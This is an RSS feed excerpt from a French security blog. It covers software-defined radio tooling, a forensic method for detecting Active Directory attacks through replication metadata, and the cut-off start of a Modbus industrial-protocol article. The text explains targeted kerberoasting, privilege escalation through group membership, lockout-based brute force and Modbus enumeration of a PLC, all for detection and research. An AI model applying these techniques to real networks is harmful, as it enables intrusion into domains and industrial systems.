<div style="text-align: justify;">Nous prenons ici l’exemple du RTL-SDR mais chaque antenne nécessite une suite de logiciels pour les échanges antenne-ordinateur. GNU-Radio offre une interface pour ne pas avoir à installer chaque logiciel. Néanmoins, pour réaliser quelques tests, il peut être intéressant d’avoir le pilote de son SDR installé sur son poste. Par exemple, pour le RTL-SDR, le blog rtl-sdr.com (https://www.rtl-sdr.com/rtl-sdr-quick-start-guide/) décrit les étapes à suivre pour installer les logiciels sur Windows.</div>
<div style="text-align: justify;">Il est maintenant possible d’enregistrer une fréquence donnée à l’aide la commande suivante :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">rtl_sdr -f &lt;freq&gt; -s 2000000 fichier.sortie.cu8</pre>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier de sortie (fichier.sortie.cu8) est une suite de nombres complexes encodée sur 8 bits. L’extension cu8 (« Complex 8-bit unsigned integer samples ») est comprise directement dans Inspectrum .</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Quelques cas d’école</h3>
</div>
<div style="text-align: justify;">Comme il est facile de se procurer un SDR à bas coût, une pléthore de logiciels ont été développé pour écouter et visualiser les données.</div>
<div style="text-align: justify;">Parmi les logiciels incontournables, nous présentons dump1090 qui donne la position des avions en temps réel et le système RDS pour écouter et obtenir des informations sur les chaines radio.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Dump1090 : positionner les avions</h4>
</div>
<div style="text-align: justify;">Salvatore Sanfilippo (Antirez), le développeur de Redis, a développé un outil, Dump1090 , qui permet de visualiser les informations des signaux radio « ADS-B ». Ces signaux sont utilisés dans l’aviation pour signaler la position GPS des avions sur un fréquence de 1090 MHz. À l’aide de son outil, il est donc possible pour un amateur équipé d’un RTL-SDR de repérer facilement les avions autour de lui.</div>
<div style="text-align: justify;">Une fois l’outil installé, il suffit de lancer la commande suivante :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">./dump1090 --interactive --net</pre>
</div>
<div style="text-align: justify;">Et d’ouvrir son navigateur sur :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">http://localhost:8000</pre>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Depuis nos locaux de La Défense, il est possible de voir les avions dans le ciel parisien.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16259 media-16259" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16259 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4.png" alt="" width="640" height="250" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4-437x171.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/4-71x28.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h4>Radio Data System : informations sur une radio FM</h4>
</div>
<div style="text-align: justify;">Le Radio Data System (RDS) est un service proposé par les radios FM pour fournir aux utilisateurs des informations sur la radio qu’ils écoutent : nom, messages textuels ou encore d’autres fréquence d’écoute.</div>
<div style="text-align: justify;">Pour consulter ces informations, nous allons installer une extension de GNU-radio : <a href="https://github.com/bastibl/gr-rds">https://github.com/bastibl/gr-rds</a></div>
<div style="text-align: justify;">Une fois celle-ci installée, il convient de démarrer gnu-radio à l’aide de la commande suivante :</div>
<div style="text-align: justify;">
<pre style="background-color: #dfd2ee; color: black; padding-left: 5px; padding-right: 5px;">gnuradio-companion apps/rds_rx.grc</pre>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Ensuite, l’interface proposée permet de positionner la fréquence du SDR et ainsi d’écouter la radio et de lire les information RDS.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16261 media-16261" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16261 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5.png" alt="" width="640" height="369" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5-331x191.png 331w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/5-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">C’est grâce à ce système que les radios diffusent le nom de la chanson actuellement en écoute.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Pour aller plus loin</h3>
</div>
<div style="text-align: justify;">Notre prochain article présentera les premières étapes de caractérisation d’un signal, l’identification de sa fréquence et son type de modulation. Ensuite, nous pourrons continuer l’analyse pour savoir comment démoduler des signaux et s’intéresser à leur sécurité.</div>
<div style="text-align: justify;">
<div style="text-align: right;"></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/03/introduction-au-software-defined-radio-sdr/">Introduction au Software Defined Radio (SDR)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Utilisation des métadonnées de réplication, quand les journaux font défaut</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/02/utilisation-des-metadonnees-de/</link>
		
		<dc:creator><![CDATA[Nicolas Daubresse]]></dc:creator>
		<pubDate>Fri, 16 Feb 2018 07:33:17 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Active directory]]></category>
		<category><![CDATA[deep-dive]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[usn]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15551</guid>

					<description><![CDATA[<p>Introduction aux données de réplication de l’Active Directory Au sein d’un domaine Active Directory se trouvent généralement plusieurs contrôleurs de domaine qui nécessitent de disposer des mêmes informations. Pour parvenir à cela, l’Active Directory dispose d’un mécanisme de réplication qui...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/utilisation-des-metadonnees-de/">Utilisation des métadonnées de réplication, quand les journaux font défaut</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15553 media-15553" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15553 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1.png" alt="" width="640" height="160" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1-437x109.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/header-1-71x18.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Introduction aux données de réplication de l’Active Directory</h3>
<div style="text-align: justify;">Au sein d’un domaine Active Directory se trouvent généralement plusieurs contrôleurs de domaine qui nécessitent de disposer des mêmes informations. Pour parvenir à cela, l’Active Directory dispose d’un mécanisme de réplication qui permet, entre autres, de propager un changement depuis un contrôleur de domaine vers les autres.</div>
<div style="text-align: justify;">Dans son processus de réplication, l’Active Directory utilise des USN (Update Sequence Number) pour déterminer l’état des contrôleurs de domaines. Ces USN représentent un compteur stocké dans la base de données de l’Active Directory, qui est incrémenté à chaque changement de cette base au niveau d’un contrôleur de domaine. Chaque contrôleur de domaine dispose alors d’un USN qui lui est propre.</div>
<div style="text-align: justify;">Lorsqu’un changement d’une information de l’Active Directory intervient sur un contrôleur de domaine, deux cas peuvent se présenter :</div>
<div style="text-align: justify;"></div>
<ul>
<li>L’information modifiée n’est pas une information répliquée entre les différents contrôleurs de domaines. C’est le cas de l’ensemble des attributs de l’Active Directory qui disposent du flag <span style="font-family: 'courier new' , 'courier' , monospace;">FLAG_ATTR_NOT_REPLICATED</span>[1] comme par exemple l’attribut « BadPwdCount » qui tient compte du nombre de tentatives de connexion échouées :
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15555 media-15555" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15555 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1.png" alt="" width="563" height="200" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1.png 563w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1-437x155.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img1-71x25.png 71w" sizes="auto, (max-width: 563px) 100vw, 563px" /></figure>
</div>
<div style="text-align: left;"><span style="text-align: justify;">Dans ce cas, le contrôleur de domaine effectue la modification dans sa propre base de données, mais ne transmet rien aux autres contrôleurs de domaine.</span></div>
<p>&nbsp;</li>
<li>
<div style="text-align: left;"><span style="text-align: justify;">L’information modifiée nécessite une réplication entre les différents contrôleurs de domaines. Dans ce cas, le contrôleur de domaine qui a reçu le changement utilise le modèle de réplication de l’Active Directory pour transmettre le changement aux autres contrôleurs du domaine. Ce modèle de réplication ne sera pas détaillé dans cet article, mais permet la diffusion des évolutions à l’ensemble des contrôleurs d’un domaine en limitant le trafic nécessaire et en assurant la gestion des collisions (en cas de changement d’un même attribut sur différents contrôleurs sur une fenêtre de temps réduite).</span></div>
</li>
</ul>
<div style="text-align: justify;">Le processus de réplication utilise des métadonnées qui sont conservées sous la forme de deux attributs distincts : <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span>[2] et <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplValueMetaData</span>[3]. <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span> est utilisé pour les changements effectués sur les attributs non linkés de l’Active Directory alors que <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplValueMetaData</span> est réservé aux attributs linkés.</div>
<div style="text-align: justify;">Les attributs linkés ont été introduits dans l’Active Directory à partir du niveau fonctionnel Windows Server 2003. Ce sont en fait des paires d’attributs dont la valeur de l’un est basée sur celle de l’autre. C’est par exemple le cas des attributs <span style="font-family: 'courier new' , 'courier' , monospace;">member </span>d’un groupe et <span style="font-family: 'courier new' , 'courier' , monospace;">memberof </span>de l’utilisateur.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Quel intérêt pour l’investigation ?</h3>
</div>
<div style="text-align: justify;">En tant qu’analyste forensic qui intervient suite à un incident de sécurité, le premier réflexe pour permettre d’identifier les actions malveillantes ayant eu lieu au sein d’un Active Directory est l’utilisation des journaux d’événements. Mais que faire si ceux-ci n’étaient pas activés au moment de l’attaque ? Ou si l’attaquant est parvenu à supprimer les journaux générés par ses actions, comme le permet un outil comme mimikatz[4] ?</div>
<div style="text-align: justify;">Dans de telles situations, il est possible d’utiliser les données de réplication pour obtenir une vision partielle des actions des attaquants. En effet, d’après le fonctionnement des données de réplication, toute modification d’un attribut de l’Active Directory aboutit à la création d’une donnée de réplication contenant différentes informations pouvant être utile pour une investigation.</div>
<div style="text-align: justify;">Dans le cas d’un attribut non linké, et donc d’une métadonnée de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span>, les informations stockées sont la version, qui correspond au nombre de changements de l’attribut depuis sa création, la date à laquelle a été effectuée la modification, l’USN correspondant au changement pour le contrôleur de domaine qui a initié la réplication, l’USN correspondant au changement pour le contrôleur de domaine sur lequel est récupéré la métadonnée, ainsi que l’UUID et le DN du contrôleur de domaine ayant initié le changement :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15557 media-15557" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15557 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2.png" alt="" width="563" height="128" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2.png 563w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2-437x99.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img2-71x16.png 71w" sizes="auto, (max-width: 563px) 100vw, 563px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Pour les attributs linkés, les métadonnées de réplication, cette fois de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplValueMetaData</span>, vont également stocker des informations sur les attributs liés à l’attribut en question. Les métadonnées de réplication vont alors conserver des informations sur chacune des propriétés de l’attribut lié, y compris pour les valeurs précédentes. Dans l’exemple de l’attribut <span style="font-family: 'courier new' , 'courier' , monospace;">member</span>, les données de réplication conserveront donc à la fois des informations sur les membres actuels du groupe, mais également sur les utilisateurs ayant été membres mais ne l’étant plus :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15559 media-15559" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15559 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3.png" alt="" width="558" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3.png 558w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img3-71x27.png 71w" sizes="auto, (max-width: 558px) 100vw, 558px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">A un instant donné, il est alors possible grâce à ces données de déterminer la date de dernière modification d’un attribut, ainsi que le nombre de fois où il a été modifié depuis sa création. Ces données, bien que semblant très limitées, peuvent alors servir à identifier différents scénarios d’attaque.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Elévation de privilèges par ajout dans un groupe</h3>
</div>
<div style="text-align: justify;">L’un des cas où les données de réplication offrent les meilleurs résultats est l’identification d’un scénario où l’attaquant s’est ajouté, puis supprimé d’un groupe, comme par exemple le groupe « Admins du domaine ».</div>
<div style="text-align: justify;">En effet, au sein d’un Active Directory, les groupes possèdent une propriété « member » qui liste les utilisateurs appartenant au groupe. L’ajout d’un utilisateur dans un groupe va alors incrémenter l’USN de son attribut « <span style="font-family: 'courier new' , 'courier' , monospace;">member </span>» de 1, celui-ci ayant été modifié. De même, le retrait de l’utilisateur incrémentera également cet USN de 1.</div>
<div style="text-align: justify;">Etant donné ces propriétés, deux conclusions sont possibles :</div>
<div style="text-align: justify;">
<ul>
<li>Les utilisateurs ayant un USN impair sont membres du groupe (chose qu’il est directement possible de voir dans la valeur de l’attribut « <span style="font-family: 'courier new' , 'courier' , monospace;">member </span>»), et la date de dernier ajout de l’utilisateur au sein du groupe est celle de l’USN ;</li>
<li>Les utilisateurs ayant un USN pair ont appartenu au groupe, mais n’en font plus parti depuis la date de l’USN.</li>
</ul>
</div>
<div style="text-align: justify;">C’est donc dans le second cas que se retrouverait le compte d’un attaquant s’étant ajouté au groupe « Admins de domaine » pour réaliser des actions malveillantes, puis supprimé du groupe. Il est alors possible de créer un script récupérant les utilisateurs ayant été ajoutés ou supprimés d’un groupe après une date donnée (seule la date de premier et de dernier changement étant conservés, il ne serait pas fiable de limiter la recherche à une date maximale) :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15561 media-15561" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15561 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4.png" alt="" width="561" height="86" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4.png 561w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4-437x67.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img4-71x11.png 71w" sizes="auto, (max-width: 561px) 100vw, 561px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Targeted Kerberoasting</h3>
</div>
<div style="text-align: justify;">Le kerberoasting est une technique qui exploite le processus d’authentification Kerberos pour permettre à un attaquant de récupérer le mot de passe d’un compte de service (comprendre « compte disposant d’un Service Principal Name »). Le principe de cette attaque est que, comme le montre le schéma suivant, lors d’une demande d’authentification à un service par un utilisateur, le KDC utilise le hash NTLM du compte de service pour chiffrer le TGS renvoyé à l’utilisateur. Dans ce processus, la légitimité de l’utilisateur à accéder au service n’est pas vérifiée, et n’importe quel utilisateur peut donc obtenir le TGS.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15563 media-15563" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15563 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5.png" alt="" width="640" height="391" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5-313x191.png 313w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img5-64x39.png 64w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Il est alors possible pour l’attaquant d’effectuer une tentative de cassage du hash NTLM du compte de service en tentant de déchiffrer le TGS à partir de hashs successifs.</div>
<div style="text-align: justify;">Supposons maintenant qu’un attaquant soit parvenu à récupérer des privilèges maximums sur un objet utilisateur, à savoir des privilèges de type <span style="font-family: 'courier new' , 'courier' , monospace;">GenericAll</span>[5], qui donne notamment le droit de modifier le mot de passe du compte, ou encore de modifier les propriétés de l’objet Active Directory associé au compte. Pour usurper l’identité du compte en question, l’attaquant pourrait donc réinitialiser le mot de passe du compte avec une valeur qu’il choisit, et se connecter à l’aide de ce nouveau mot de passe. Néanmoins, une telle attaque serait rapidement détectée par l’utilisateur légitime du compte, qui ne parviendrait plus à se connecter avec son mot de passe habituel.</div>
<div style="text-align: justify;">Une possibilité plus intéressante pour l’attaquant serait alors d’ajouter un Service Principal Name (SPN) au compte de ciblé, puis d’exécuter une attaque de type kerberoasting. C’est ce qu’on appelle le targeted kerberoasting.</div>
<div style="text-align: justify;">La majorité des utilisateurs d’un domaine n’étant jamais supposée avoir de SPN, une telle attaque peut assez simplement être détectée si ce SPN n’est pas supprimé. Si par contre ce SPN est supprimé par l’attaquant une fois l’attaque effectuée, il reste toujours possible d’utiliser les données de réplication !</div>
<div style="text-align: justify;">En effet, l’ajout ou la suppression d’un SPN sont des événements répliqués au sein de l’Active Directory, et génèrent donc des métadonnées de réplication de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span> :</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15565 media-15565" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15565 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6.png" alt="" width="559" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6.png 559w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img6-71x10.png 71w" sizes="auto, (max-width: 559px) 100vw, 559px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Il est alors possible de créer un script récupérant les comptes du domaine dont l’attribut SPN a été modifié depuis une date donnée, comptes qui sont donc des victimes potentielles d’une attaque de type targeted kerberoasting.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Bruteforce d’un compte par blocage successif</h3>
</div>
<div style="text-align: justify;">Un scénario d’attaque par bruteforce pouvant être utilisé par un attaquant au sein d’un Active Directory ne disposant d’aucune alerte est la réalisation de tentatives de connexion en dehors des heures d’utilisation du compte, et ce jusqu’au blocage du compte.</div>
<div style="text-align: justify;">
<p>Lors du blocage d’un compte, un flag <span style="font-family: 'courier new' , 'courier' , monospace;">LOCKOUT</span>[6] est positionné sur l’attribut <span style="font-family: 'courier new' , 'courier' , monospace;">userAccountControl</span> d’un utilisateur. Cet attribué étant répliqué entre les différents contrôleurs de domaine, des données de réplication de type <span style="font-family: 'courier new' , 'courier' , monospace;">msDS-ReplAttributeMetaData</span> sont alors générées. Il est alors possible de créer un script permettant d’identifier les comptes du domaine ayant un numéro de version important dans les données de réplication de cet attribut, ce qui pourrait annoncer un tel bruteforce :</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15567 media-15567" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15567 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7.png" alt="" width="560" height="73" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7.png 560w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7-437x57.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/img7-71x9.png 71w" sizes="auto, (max-width: 560px) 100vw, 560px" /></figure>
</div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Il est cependant à noter que l’attribut <span style="font-family: 'courier new' , 'courier' , monospace;">userAccountControl </span>dispose de plusieurs autres flags dont la modification entrainerait également la génération de données de réplication, indissociable des précédentes, comme par exemple pour le flag <span style="font-family: 'courier new' , 'courier' , monospace;">PASSWORD_EXPIRED</span>. Cependant, cet attribut n’est généralement pas amené à évoluer grandement, et un très grand nombre de changements reste un indicateur relativement fiable d’un bruteforce.</div>
<div style="text-align: justify;">Un autre point à noter est qu’en limitant les tentatives de connexion pour éviter le blocage du compte, un attaquant serait invisible à cette méthode d’investigation.</div>
<div style="text-align: justify;">
<h3>Conclusion</h3>
</div>
<div style="text-align: justify;">Bien que n’apportant pas une vision aussi complète que les journaux d’événements, les données de réplication peuvent donc être une source d’information non négligeable pour une investigation forensic dans un Active Directory.</div>
<div style="text-align: justify;">Il est cependant à noter que des techniques permettant la modification des données de réplication pourraient exister[7], la confiance accordée aux informations obtenues grâce à celles-ci ne doit donc pas être aveugle.</div>
<p></p>
<div style="text-align: right;"></div>
<div style="text-align: justify;">
<h3>Sources :</h3>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[1] Voir « systemFlags » : <a href="https://msdn.microsoft.com/en-us/library/cc223202.aspx">https://msdn.microsoft.com/en-us/library/cc223202.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[2] <a href="https://msdn.microsoft.com/en-us/library/cc220352.aspx">https://msdn.microsoft.com/en-us/library/cc220352.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[3] h<a href="ttps://msdn.microsoft.com/en-us/library/cc220356.aspx">ttps://msdn.microsoft.com/en-us/library/cc220356.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[4] <a href="https://github.com/gentilkiwi/mimikatz/releases">https://github.com/gentilkiwi/mimikatz/releases</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[5] <a href="https://msdn.microsoft.com/en-us/library/aa772285(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/aa772285(v=vs.85).aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[6] <a href="https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro">https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;">[7] <a href="https://twitter.com/mysmartlogon/status/903166180889907200">https://twitter.com/mysmartlogon/status/903166180889907200</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"><a href="https://www.harmj0y.net/blog/defense/hunting-with-active-directory-replication-metadata/">https://www.harmj0y.net/blog/defense/hunting-with-active-directory-replication-metadata/</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"><a href="https://social.technet.microsoft.com/wiki/contents/articles/25946.metadata-de-replication-et-analyse-forensic-active-directory-fr-fr.aspx">https://social.technet.microsoft.com/wiki/contents/articles/25946.metadata-de-replication-et-analyse-forensic-active-directory-fr-fr.aspx</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"><a href="https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/">https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/</a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: left;"></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/utilisation-des-metadonnees-de/">Utilisation des métadonnées de réplication, quand les journaux font défaut</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fun with Modbus 0x5A</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 09 Feb 2018 17:45:05 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[modbus]]></category>
		<category><![CDATA[SCADA]]></category>
		<category><![CDATA[SI industriel]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15813</guid>

					<description><![CDATA[<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&#38;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels. Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g Revenons...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;">
<figure id="post-15816 media-15816" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15816 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&amp;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.</p>
</div>
<div style="text-align: justify;">Vous pouvez retrouver notre intervention en vidéo : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></div>
<div style="text-align: justify;">Revenons sur ces travaux et la manière dont ils peuvent être exploités.</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>Le protocole Modbus</h2>
</div>
<div style="text-align: justify;">Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.</div>
<div style="text-align: justify;">Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0</pre>
</div>
<div style="text-align: center;"><i>Lecture de données Modbus avec le programme « mbtget »</i></div>
<p>&nbsp;</p>
<div style="text-align: justify;">D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel :</div>
<div style="text-align: justify;">
<figure id="post-15818 media-15818" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15818 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png" alt="" width="640" height="442" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-277x191.png 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-245x170.png 245w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)</i></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~/smod# python smod.py 
